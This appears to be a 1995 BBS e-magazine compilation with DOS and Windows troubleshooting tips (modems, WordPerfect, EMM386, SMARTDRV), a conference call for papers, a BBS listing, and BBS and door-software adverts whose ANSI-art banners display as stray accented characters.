FAQ available. There is also a listserv called Winhlp-L. (this is much more advanced, though.) I learned from the HAG, mostly. Jeff @START@Modem Problems Date: Fri, 07 Apr 1995 08:34:45 -0500 From: Terry McNeal Subject: Re: Modem problem >Even though the telephone line is live and even though the computer >checks out the modem and finds it fit enough to proceed with placing a >call, I get the response "No dial tone." I get that using the Windows >Terminal program, using WinComm Pro, and using the America OnLine >software. I know I am using the right port. > >Now where do I start? Do I call Boca Research? Do I call >Delrina--that makes WinComm Pro--or do I call Micron. Any suggestions >in diagnosing and fixing this one? I had the exact same symptoms trying to get a Hayes Optima 144 PC Card modem working in my notebook machine. After a lot of head scratching and conversation with the Hayes Tech Support folks (good people), it was discovered that there was a defect in the cable between the modem and the telephone jack. It did not make a good enough connection for the modem to be able to detect the dial tone. After replacing the cable, and making sure it was fully seated in the telephone jack and the modem connector (you think it is going to break before it snaps in), everything worked fine. I suggest you start by carefully examining the cabling between the modem and the telephone jack. Make sure the connectors on both ends are well seated and making good contact. Make sure the cable itself does not show any signs of stress where the wires may have broken inside the insulation. Also, check out the telephone jack itself. Look for the same things in the jack and the cable going back to the service connecting block. (Of course, the easiest way to make these checks is to try another cable and telephone jack.;-)) From what you said in your message, it looks like your machine and software is working properly, so if you need to call someone, I would start with the modem manufacturer. Hope this helps. Good Luck. Terry McNeal Grinnell College Internet: MCNEAL@AC.GRIN.EDU Systems Coordinator Noyce Computer Center Voice: (515) 269-4901 Grinnell, Iowa 50112 Fax: (515) 269-4936 @START@WordPerfect 6.0 Troubles Date: Fri, 07 Apr 1995 10:42:54 -0600 (CST) From: "Andrew W. Ragland" Subject: WordPerfect 6.0 Troubles Here's a bit of misfortune for others to learn from: Scandisk recently found some bad files on my C: drive. I had it fix them as best it could, and tried to get on with my life. No such luck. WordPerfect 6.0a for Windows refused to launch without a tantrum. I kept getting faults in module SHWIN20.DLL, the QuickCorrect list was garbaged totally, and the program threw GPFs every time I did anything complicated - like hitting Return at the end of a paragraph. I copied SHWIN20.DLL from my boss's machine. No fix. I reinstalled WP. No fix. I reinstalled Windows. No fix. I called WP Support and they told me that what had most likely happened was that what had probably happened was that the initializiation files WP keeps in the Windows directory had been corrupted. I had to delete three files, at which point WP came up as if it had just been installed. I lost my Button and Power bar configurations, and had to go all through my Preferences resetting everything -- directories, file locations, etc. Fortunately, the guy at WP gave me a tip, which I now pass on: Copy the files STANDARD.WPT, WPCSET.BIF and WPQC60US.DAT from your Windows directory to a floppy. If WP hangs up again, and you get the same errors, just delete those files from your HD and copy them back over from the floppy. Saves you hours of tedium reconstructing your working environment. I've already had to do it once since the original crash. I suspect my HD needs some work, but haven't had the time to take care of it. Andrew W. Ragland Product Support Manager R & M BioMetrics / BioQuant raglan45@ccvax.mmc.edu @START@Notes on EMM386 Program Date: Fri, 7 Apr 1995 13:35:03 -0400 From: "J. Dashiell" Subject: emm386 program if you're not using ems and have the line: devicehigh=c:\dos\emm386.exe /noems /i=e000:efff in the config.sys file that will work. However, the following line is wrong: devicehigh=c:\dos\emm386.exe ram /i=e000:efff The reason it's wrong is it introduces a conflict. That include area is being used for ems framing when the ram switch is specified rather than the /noems switch. So it's best to have /noems and /i=e000:efff in config.sys on emm386.exe line since the two switches like to hang out together. jude @START@Notes on SMARTDRV.EXE Program Date: Wed, 5 Apr 1995 13:08:57 EDT From: "Sean F. Leinen" Subject: Re: SMARTDRV.EXE June Ritchie writes: > Before running memmaker Smartdrv.exe looked like this in my > autoexec.bat: > > c:\dos\smartdrv.exe > > After running memmaker Smartdrv.exe looked like this in my > autoexec.bat: > > LH /l:0;1,45456 /S c:\dos\smartdrv.exe /x Hi June! Memmaker added the "/X" option to SMARTDRV.EXE? That's a new one on me - I've never seen that before. Just out of sheer curiosity, did you select (at any time during the memory optimization process) the "use conservative settings" (or words to that effect)? This might've added the "/X" to disable write-behind caching, which is a conservative setting. > I used to see a table during boot that said SmartDrive was > loaded and it indicated various cache settings. I don't see > that anymore. I assume that is because of the /x switch that Change the "/X" to "/V", and reboot. You should then get the caching table upon boot. Also, if you need to look at this table again, you can simply key-in "SMARTDRV" (with no options), and it will display that caching table without making any changes. The "/V" means "verbose". Replacing the "/X" with the "/V" will also re-enable the write-behind caching. Disabling write-behind caching, while smart for compressed (DBLSPACE'ed/DRVSPACE'ed) drives, will negatively impact performance on a system that's not using disk compression. You're more-than-likely better served with write-behind caching on - it will make a dramatic performance difference when there's a substantial amount of disk activity occurring, especially on systems with older drives. Also, you might want to add FASTOPEN.EXE to work in conjunction with SMARTDRV.EXE: LH C:\DOS\FASTOPEN.EXE C:=100 /X Place that line just *before* the SMARTDRV.EXE line (so SMARTDRV will take advantage of FASTOPEN's file quick look-up table when the data it needs isn't in cache). What FASTOPEN.EXE does is, instead of caching file *data*, it caches the *location* of the file(s) on the disk. The next time that file is needed, if it is not already (or has been flushed out of) SMARTDRV's cache, the disk controller is fed the exact location of that file on the disk (instead of searching for it in the FAT) and the hard disk's heads are literally sent (jumped) right to that location to begin reading. The "C:=100" means reserve table space for 100 files for the "C:" drive, while the "/X" means place this table space in eXtended memory. You can add as many drives as you want ("C:=100 D:=100 E:=100..."), but make sure that you have the "/X" switch and HIMEM.SYS enabled so this table will go into eXtended memory - it can get quite large if you reserve space for many files/disks. Enjoy, -SEAN @START@Multimedia Computing and Networking 1996 CALL FOR PAPERS --------------- MULTIMEDIA COMPUTING AND NETWORKING 1996 San Jose, California Jan 29 - 31, 1996 ============================================================================ Conference Chairs: Martin Freeman, Philips Research; Paul Jardetzky, Philips Research; Harrick M. Vin, University of Texas at Austin. Program Committee: H.W. Peter Beadle University of Wollongong Edward A. Fox Virginia Polytechnic and State University Jose J. Garcia-Luna U.C. Santa Cruz Gita Gopal Hewlett-Packard Laboratories David Greaves Cambridge University Wendy Hall University of Southampton Kevin Jeffay University of North Carolina Dilip D. Kandlur IBM Thomas J. Watson Research Center Randy Katz U.C. Berkeley Thomas D.C. Little Boston University A. Desai Narasimhalu National University of Singapore Duane Northcutt Sun Laboratories P. Venkat Rangan U.C. San Diego Arturo A. Rodriguez Scientific Atlanta Lawrence A. Rowe U.C. Berkeley Doug Shepherd University of Lancaster Brian Smith Cornell University Cormac Sreenan Bell Laboratories Dan Swinehart Xerox PARC Manu Thapar Hewlett-Packard Laboratories Sean White Interval Research Ian Wilson Olivetti Research Hui Zhang Carnegie Mellon University This conference is part of the IS&T/SPIE 1996 International Symposium on Electronic Imaging to be held on Jan 28 - Feb 2, 1996. Advances in computer and networking technologies have fueled the rapid growth of research and development in multimedia computing and high-speed networking. As emerging multimedia technologies set higher performance levels at competitive costs, they are starting to enable and proliferate multimedia solutions in a spectrum of commercial and laboratory projects. The object of this conference is to bring together researchers, developers, and practitioners working in all facets of multimedia computing and networking. The conference will serve as a forum for the dissemination of state-of-the-art research, development, and implementation of multimedia systems, technologies, and applications. Presenters will be encouraged to make multimedia presentations and demonstrate their solutions. Papers are solicited in all areas of multimedia, including, but not limited to: Multimedia Computing - hardware and software architectures - multimedia operating system services - real-time operating system services - data streaming and delivery mechanisms - media and user interaction Multimedia Networking - network and transport protocols - quality-of-service control and scheduling algorithms - bandwidth management strategies - synchronization mechanisms - mobile network architecture - community networking architecture. Multimedia User Interfaces - video widgets - synthetic animation - intelligent information access - interactive navigation schemes. Multimedia Authoring Systems - media capture and creation - scripting languages - authoring metaphors and editing techniques Multimedia Applications - video-on-demand servers and services - set-top technologies and operating systems - multimedia conferencing and mail - education and training - digital libraries - medical applications - cyberspace communication, presentation, and interaction - electronic communities - entertainment and games. Multimedia Standards, Documents, and Data Interchange. IMPORTANT INFORMATION FOR AUTHORS: --------------------------------- Please submit an extended abstract for review. The submissions should not exceed 5 pages including figures, tables, and references, using a typeface no smaller than 10 points. Electronic submissions (in postscript format) are encouraged. To obtain detailed instructions for electronic submission, send a e-mail to: mmcn96@cs.utexas.edu. Only if electronic submission is not possible, please send 5 hard copies of your extended abstract to: Professor Harrick M. Vin Department of Computer Sciences Taylor Hall 2.124 The University of Texas at Austin Austin, TX 78712-1188 Phone : (512) 471-9732 E-mail : mmcn96@cs.utexas.edu In addition to submitting an extended abstract, please also electronically submit a cover page to both mmcn96@cs.utexas.edu and abstracts@mom.spie.org. Each cover page should contain: 1. Title of paper 2. Author names and affiliations 3. Name and address (both postal and electronic) of contact author 4. Abstract (500 words) 5. Keywords 6. Submission area (from the list of relevant areas in the call for papers) Each extended abstract will be reviewed by the members of the program committee. Authors of accepted papers will be asked to submit a camera-ready manuscript (not exceeding 12 pages) that will appear in the conference proceedings. The Conference Chairs and Program Committee will also ask authors of the best papers to enhance their papers and make journal form submissions to the ACM/Springer Verlag Multimedia Systems Journal. A special issue of the Multimedia Systems Journal will be devoted to the theme of the conference. Similarly, authors of selected papers will be asked to submit a tutorial style paper for IEEE Multimedia Magazine. IMPORTANT DATES: --------------- Submission deadline: July 3, 1995 Notification of acceptance: September 29, 1995 Camera-ready abstracts due: November 27, 1995 Camera-ready manuscripts due: January 1, 1996 @START@ Dockside ANSI ÄÒÄ · Ö ÒÄ·º ÇĶ ÇÄÐ ½ Ó ÐĽ ÜÒÄ· ÖÄ· ÖÄ· ÒÖÄ ÖÄ· Ò ÒÄ· ÒÄ· ÒÄ· ÒÄ· ÒÄ· Ö Ä·NÜÜÛÛÛÜÜ º º º º º Çз ÓÄ· º º º  ÇÄ ÇÒ½ ÇĶ ÇĶ ÓÄ·³É³ÛÛÛ ³» ÐĽ ÓĽ ÓĽ Ð Ó ÓĽ Ð ÐĽ ÐĽ ÐÓ½ ÐĽ ÐĽ ÓĽ  WÄÄÄÅÄÄį ÜÛÛÛÛÛÜ (610) 678-0350 - Node #1 - USR 28800 D ual Standard³ÉÉÛÛÛÛÛ»» (610) 67 0-7938 - Node #2 - USR 14400 V32.bis Sportster SßÛÛÛßÛÛÛß Located In Reinholds,Pennsylvan ia - 24 Hours DailyÜÜÜÜÜÜÜ ÛÛÛÛÛÛÛWildNet & Compulink  Net MailÛÛÛÛÛÛÛ   ÛÛÛÜAn Authorized APOGEE *  EPIC MegaGames ÛÛÛßÛÛ Ü ßAnd T&J Software Distributi on BBSÜÛÛÛÛÛÛÛÛÜÜ Ü ÛÛÛßÛÜÜÜ ÜÛÛÛÛ ÛÛÛÛÜÛßÛÜ ÛÛÛÛÛÛÛ O n-Line Games * Magazines * Files * Doors  Ü Ü ÛÛÛÛÛÛÛÛÛßßßßß  ÜÛ Û ÛÛÛÛÛÛÜ ßß ßßß ßÛÜÜ ßßÛßßÛÛß ßÛÛÛ ÛÛÛßßßßÜÜÜWE A RE THE BBS WITH SOMETHING FOR EVERYONE !ßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß @START@ T&J Software BBS ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ»ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛºÛÛÛÛÛÛÛÛ»ÛÛº SysOp: Tom Wildoner ÛÛºÛÛÉ ÍÛÛÉͼÛÛÛÛº(717)325-9481  ÛÛºÛÛÛÛÛÛºÈÛÛÛÛÛɼINTERNET: tjs oft@postoffice.ptd.net ÈͼÈÍÍÍÍͼÈÍÍÍͼ FIDO: 1:268/400 ÛÛÛ ÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ» ÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÉÍÍÍͼÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÍͼÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍ ÍÛÛ»ÛÛÉÍÍÍͼÛÛÛÛÛÛÛ»ÛÛºÛÛºÛÛÛÛÛ» ÛÛºÛÛºÛ»ÛÛºÛÛÛÛÛÛÛºÛÛÛÛÛÛɼÛÛÛÛ Û»ÈÍÍÍÍÛÛºÛÛºÛÛºÛÛÉÍͼÛÛºÛÛºÛÛ Û»ÛÛºÛÛÉÍÍÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍͼÛÛÛÛÛÛÛº ÈÛÛÛÛÛÛɼÛÛºÛÛºÈÛÛÛÉÛÛÛɼÛÛºÛÛº ÛÛºÛÛºÛÛÛÛÛÛÛ»ÈÍÍÍÍÍͼÈÍÍÍÍͼÈͼ ÈͼÈÍͼÈÍͼÈͼÈͼÈͼÈͼÈÍÍÍÍÍͼ ÛÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»Speciali zing in DOORS and UTILITIES!ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼÛOur DoorsÛare Ûinformational,ÛÛÛÛÛÛɼÛÛÛÛÛÛɼ ÛÛÛÛÛÛÛeducational, or just for fun. So ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ»ÈÍÍÍÍÛÛ comeÛbyÛand relaxÛ atÛaÛplaceÛÛÛÛ ÛÛɼÛÛÛÛÛÛɼÛÛÛÛÛÛÛºwhereÛou r DOORSÛareÛalways open! ÈÍÍÍÍͼÈÍÍÍÍͼÈÍÍÍÍÍͼ @START@ Current versions of T&J Software Doors/Util's --== T&J Software ==-- Current versions of doors and utilities File Request from 1:268/400 ÚÄÂÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÂÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³F³R³ MAGIC ³F³R³ MAGIC ³ ÃÄÅÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÅÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³F³ ³ Announce! v3.70 ANNOUNCE³ ³ ³ ANSI Vote Booth v2.60 ANSIVB ³ ³F³ ³ GoodUser v1.70 GOODUSER³ ³%³ Money Market v4.00 MONEYM ³ ³ ³ ³ OneRun v3.50 ONERUN ³ ³%³ T&J Lotto v1.70 LOTTO ³ ³F³ ³ BadUser v2.80 BADUSER ³ ³ ³ Convince! v1.50 CONVINCE ³ ³ ³ ³ Dollarmania! v2.70 DMANIA ³ ³%³ Lasso! v1.50 LASSO ³ ³ ³%³ Lemonade v4.00 LEMONADE³ ³%³ Prize Vault v4.60 PVAULT ³ ³ ³%³ Scramble v4.00 SCRAMBLE³ ³ ³ Bordello v1.50 BORDELLO ³ ³ ³%³ Video Poker v1.70 VIDEOP ³F³ ³ Ratio! v1.20 RATIO ³ ³ ³ ³ Studs! v1.50 STUDS ³ ³ ³ Studette! v1.20 STUDETTE ³ ³ ³%³ Strip Poker! v1.31 SPOKER ³ ³%³ OnLine! v1.90 ONLINE ³ ³ ³*³ T&J Raffle! v1.10 RAFFLE ³ ³*³ CONNECT Mag v1.20 CONNECT ³ ³ ³*³ RIP Vote Booth v1.00 RVB ³ ³%³ On Line Legal v1.10 OLA ³ ³ ³*³ Lemonade RIP v2.00 LEMONRIP³F³ ³ AgeCheck! v1.10 AGE ³ ³F³*³ TJYesterday v1.40 YEST ³F³ ³ TJStat v1.50 TJSTAT ³ ³F³ ³ TJTop30 v1.20 TOP30 ³F³N³ WinCheck! v2.00 ³ ³ ³%³ Bible Online v1.00 BIBLE ³ ³%³ Business Cards v1.00 BCARD ³ ³ ³%³ LimitLog v1.00 LIMIT ³F³N³ WCAlarm v1.00 WCALARM ³ ³ ³%³ JunkYard v1.00 JUNKYARD³F³N³ ExState v1.00 ³ ³F³%³ World Fact B. v2.00 WORLDFB ³ ³%³ FedJobs v1.00 FEDJOB ³ ³F³%³ Apocrypha Door v1.00 ³F³*³ TJNew (WCX) v1.00 NEWWCX ³ ³F³*³ TopDL (WCX) v1.10 TOPDL ³F³*³ TopUL (WCX) v1.00 TOPUL ³ ³F³*³ TJSLevel (WCX) v1.00 SLEVEL ³F³*³ TJBad (WCX) v1.00 BADWCX ³ ³F³*³ TJGood (WCX) v1.00 GOODWCX ³F³*³ TJTFiles (WCX) v1.00 TFILE ³ ³F³*³ TJMessage (WCX)v1.00 TMESSAGE³F³ ³ TJWho? (WCX) v1.00 TJWHO ³ ³F³N³ FArea (WCX) v1.00 FAREA ³ ³%³ Consumer Info v1.00 CINFO ³ ³F³%³ Census Door v1.00 CENSUS ³F³%³ Book of Mormon v1.00 ³ ³ ³%³ Consumer Safe. v1.00 CSAFETY ³F³%³ Across The Wire v1.00 ATW ³ ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ F= Free door/utility program R= * FULL RIP supported %= RIP Detection N= Not applicable All doors can be found on the T&J Software BBS at: (717)325-9481 28.8 Sportster (717)325-2054 28.8 Sportster (717)325-4369 28.8 USR DS Internet: tjsoft@postoffice.ptd.net FIDO: 1:268/400 FREQ: TJMAGIC for a complete list of what is available. FREQ: VERSIONS for a list of current door versions. FTP: ftp europa.com /outgoing/DOORS/tj-software anonymous login with EMail address for your password. Visiting Sysops have instant access to all doors/utility programs. Doors support various COM ports, baud rates to 115k, DV/Network ready, fossil driver support, and much more! The doors easily setup, and registration can be done online in DOOR #7 using VISA or MC! T&J Software doors have been tested on nearly every BBS package on on the market and uses beta test sites running various software and hardware setups. Free drawings are held on our board for various free registered doors -- try Lotto or Raffle on our system when you call! How to get the latest copy of all T&J Software Doors/Utility Programs: 1. Format FIVE HD disks (3.5" only). 2. Get THREE dollar bills. 3. Mail your $3 and FIVE HD disks to: T&J Software 397 W. Broadway Jim Thorpe, PA 18229 ÄÄÂÄÄ ³om T&J Software @START@The Access Denied Public Message System ÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛÛ» ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ» ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼÚÄÄÄÄ ÄÄÄÄÄÄÛÛÛÛÛÛÛºÄÄÄÄÄÛÛºÄÄÛÛºÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛɼÄÛÛÛÛÛÛɼÄÛÛÛÛÛÛÛ»ÄÄÄÄÄÄÄÄÄÄ¿ ³ ADÛÛÉÍÍÛÛºÛÛº ÛÛºÛÛÉÍÍÛÛ» ÛÛÉÍÍÛÛ» ÈÍÍÍÍÛÛº AD ³³ÛÛº ÛÛº ÛÛ» ÛÛÛÛÛÛɼ ÛÛ» ÛÛÛÛÛÛÉ ¼ ÛÛÛÛÛÛɼ ÛÛÛÛÛÛÛº³³Èͼ Èͼ Èͼ ÈÍÍÍÍͼ ÈÍ ¼ ÈÍÍÍÍͼ ÈÍÍÍÍͼ ÈÍÍÍÍÍͼ³³THE ACCESS D ENIED PUBLIC MESSAGE SYSTEM³³³³(703 ) 998-2958³³³³300-28.8k Multi-Node  QuickBBS Version 2.80³³SysOp: James Goldblo om (1:109/611@Fidonet)³³³³The NUMBER  ONE rated message dedicated online BBS for over ³³10 years with 100,000 callers. Internet, Fidon et, Local³³messages from 1,000+ users. Priv ate node also available.³³³³Send I NTERNET netmail for FREE, primary support for INET.³ ³³³ ADEASY MENUS - FRIENDLY - SIMPLY THE BES TAD ³ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ @START@The BIRCH BARK BBS! ÞÛÝ ÛÄÄoÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û Û * * * * *  * Ûßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßßßßßßßÛ Û *  * * * * Û WELCOME  TO Û Û  * * * * * * ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  Û * * * * * Û ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß Û Û * * * * * *  Û The BIRCH BARK BBS !!   Û Û * * *  * * ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û  * * * * * * Ûßßßßßßßßßßßßßßßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ  Û * * * * * Û   Sysop: James Fish  Û Û * * * * * *  ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û ßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß Û  Large On-Line Collection of " Non-Mainstream" Conservative Text ! Û  ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ßßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßßßßßÛ  Linked To The Wo rld Message Exchange * No Adult Only Areas *  Û ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ   ENJOY !!   ÛÄÄo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ßßßßßßßßßßßßßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß  Û @START@ATW BBS List BBS's Proudly Carrying "Across The Wire" Magazine ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Arkansas ~~~~~~~~ The File Cabinet BBS Bob Harmon 501-247-1141 5/95 The R.F. ZONE BBS Matt Nelson 501-935-5574 5/95 California ~~~~~~~~~~ The Launch Pad BBS Rick Olsen 805-734-3878 5/95 Inland Sports BBS Jim Charters 909-789-2978 5/95 Illinois ~~~~~~~~ The Garage BBS Tom Guelker 618-344-8466 5/95 THE DARKROOM BBS Dave Davidson 618-345-3663 5/95 The Sojourner BBS Rick Flint 708-872-4096 5/95 Maryland ~~~~~~~~ ShareWare Paradise Bryan Rittmeyer 410-239-7473 5/95 Massachusetts ~~~~~~~~~~~~~ The Emerald City Tim Lyons 508-668-4441 5/95 Missouri ~~~~~~~~ Beyond Tomorrow Will Wright 816-263-0980 5/95 New Jersey ~~~~~~~~~~ ADAMSCOM Online....tm Mark Adams 908-572-7490 5/95 New York ~~~~~~~~ Computer On-Line Joe Schiavone 914-344-4856 5/95 Farby's Funhouse Gary Farbman 914-744-5085 5/95 North Carolina ~~~~~~~~~~~~~~ Gentle Breeze BBS Larry Beheler 704-657-6898 5/95 Ohio ~~~~ Fleet BBS Mike Morrell 216-646-0655 5/95 FIRST TRY Ken Mathews 614-685-3013 5/95 Pennsylvania ~~~~~~~~~~~~ The Docksider BBS Ken Regenfuse 610-678-0350 5/95 T&J Software BBS Tom & Jane Wildoner 717-325-9481 5/95 The FreeLand BBS Marty Cox 717-636-0936 5/95 Woody's NutHouse Jim Woodward 717-748-5728 5/95 Tennessee ~~~~~~~~~ The Tazewell BBS Jim Edmondson 615-626-0557 5/95 Utah ~~~~ Instant Access BBS Brian Fetterman 801-257-5554 5/95 Planet Reisa BBS White Lace 801-596-7350 5/95 Virginia ~~~~~~~~ Empire Systems ][ Chip Slate 703-251-1645 5/95 AD Public Message System James Goldbloom 703-998-2958 5/95 Washington ~~~~~~~~~~ Columbia Basin BBS Cal Baker 509-766-2867 5/95 Wisconsin ~~~~~~~~~ The BIRCH BARK BBS James Fish 414-242-5070 5/95 Puerto Rico ~~~~~~~~~~~ Centus (R) BBS Adfel J. Rivera 809-283-6942 5/95 How to get your BBS listed: 1. Run the program UPLOAD.EXE which is included with the ATW door. This program will ask you for some information and will then ZIP up the information and log file. The file created will be called xxxxxxxx.ATW - simply upload this file to T&J Software! T&J Software BBS 717-325-9481 3 Nodes - 28.8k Upload to ATW SUBMISSION file area. E-Mail to: tjsoft@postoffice.ptd.net Crash it to Fido 1:268/400 2. Your BBS will remain on the list indefinitely as long as the log files are sent to T&J Software on a monthly basis. 3. After lapsing for three months, your BBS listing will be removed. @START@ T&J Software BBS ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ»ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛºÛÛÛÛÛÛÛÛ»ÛÛº SysOp: Tom Wildoner ÛÛºÛÛÉ ÍÛÛÉͼÛÛÛÛº(717)325-9481  ÛÛºÛÛÛÛÛÛºÈÛÛÛÛÛɼINTERNET: tjs oft@postoffice.ptd.net ÈͼÈÍÍÍÍͼÈÍÍÍͼ FIDO: 1:268/400 ÛÛÛ ÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ» ÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÉÍÍÍͼÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÍͼÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍ ÍÛÛ»ÛÛÉÍÍÍͼÛÛÛÛÛÛÛ»ÛÛºÛÛºÛÛÛÛÛ» ÛÛºÛÛºÛ»ÛÛºÛÛÛÛÛÛÛºÛÛÛÛÛÛɼÛÛÛÛ Û»ÈÍÍÍÍÛÛºÛÛºÛÛºÛÛÉÍͼÛÛºÛÛºÛÛ Û»ÛÛºÛÛÉÍÍÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍͼÛÛÛÛÛÛÛº ÈÛÛÛÛÛÛɼÛÛºÛÛºÈÛÛÛÉÛÛÛɼÛÛºÛÛº ÛÛºÛÛºÛÛÛÛÛÛÛ»ÈÍÍÍÍÍͼÈÍÍÍÍͼÈͼ ÈͼÈÍͼÈÍͼÈͼÈͼÈͼÈͼÈÍÍÍÍÍͼ ÛÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»Speciali zing in DOORS and UTILITIES!ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ» ÛÛÉÍÍÍͼÛOur DoorsÛare Ûinformational,ÛÛÛÛÛÛɼÛÛÛÛÛÛɼ ÛÛÛÛÛÛÛeducational, or just for fun. So ÛÛÉÍÍÛÛ»ÛÛÉÍÍÛÛ»ÈÍÍÍÍÛÛ comeÛbyÛand relaxÛ atÛaÛplaceÛÛÛÛ ÛÛɼÛÛÛÛÛÛɼÛÛÛÛÛÛÛºwhereÛou r DOORSÛareÛalways open! ÈÍÍÍÍͼÈÍÍÍÍͼÈÍÍÍÍÍͼ @START@T&J Software Ad ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ»ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛºÛÛÛÛÛÛÛÛ»ÛÛº SysOp: Tom Wildoner ÛÛºÛÛÉ ÍÛÛÉͼÛÛÛÛº(717)325-9481  ÛÛºÛÛÛÛÛÛºÈÛÛÛÛÛɼINTERNET: tjs oft@postoffice.ptd.net ÈͼÈÍÍÍÍͼÈÍÍÍͼ FIDO: 1:268/400 ÛÛÛ ÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÛÛÛÛÛÛ»ÛÛ»ÛÛ» ÛÛÛÛÛ»ÛÛÛÛÛÛ»ÛÛÛÛÛÛÛ»ÛÛÉÍÍÍͼÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÍͼÈÍÍÛÛÉÍͼÛÛºÛÛºÛÛÉÍÍÛÛ»ÛÛÉÍ ÍÛÛ»ÛÛÉÍÍÍͼÛÛÛÛÛÛÛ»ÛÛºÛÛºÛÛÛÛÛ» 